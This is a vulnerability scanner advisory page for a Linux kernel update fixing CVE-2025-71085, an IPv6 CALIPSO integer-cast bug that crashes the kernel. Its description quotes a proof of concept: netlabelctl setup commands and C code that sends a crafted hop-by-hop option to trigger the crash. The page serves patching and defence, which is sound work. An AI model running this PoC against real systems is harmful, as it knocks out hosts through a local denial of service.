Detections
Analytics

Echo: linux: security update to 6.1.162-1

medium Tenable Cloud Security Plugin ID 458696

Description

There are packages installed that are affected by a vulnerability referenced in the following CVE:

 - In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as
 part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at
 net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the
 calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb)
 + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check
 (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never
 negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and
 delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a
 negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative"
 headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC:
 Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map
 add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6,
 SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg;
 struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr)
 + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL;
 msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup
 sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo =
 htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr
 cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr
 = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd,
 &msg, 0); (CVE-2025-71085)

Solution

Update the linux library and its related packages to version 6.1.162-1 or later.

See Also

https://advisory.echohq.com/cve/CVE-2025-71085

Plugin Details

Severity: Medium

ID: 458696

Version: Revision 1.1

Type: Local

Published: 10/2/2026

Updated: 10/2/2026

Risk Information

VPR

Risk Factor: Medium

Score: 5

Percentile: 94.65

CVSS v2

Risk Factor: Medium

Base Score: 4.6

Temporal Score: 3.4

Vector: CVSS2#AV:L/AC:L/Au:S/C:N/I:N/A:C

CVSS Score Source: CVE-2025-71085

CVSS v3

Risk Factor: Medium

Base Score: 5.5

Temporal Score: 4.8

Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C

Vulnerability Information

Exploit Ease: No known exploits are available

Patch Publication Date: 1/14/2026

Vulnerability Publication Date: 1/13/2026

Reference Information

CVE: CVE-2025-71085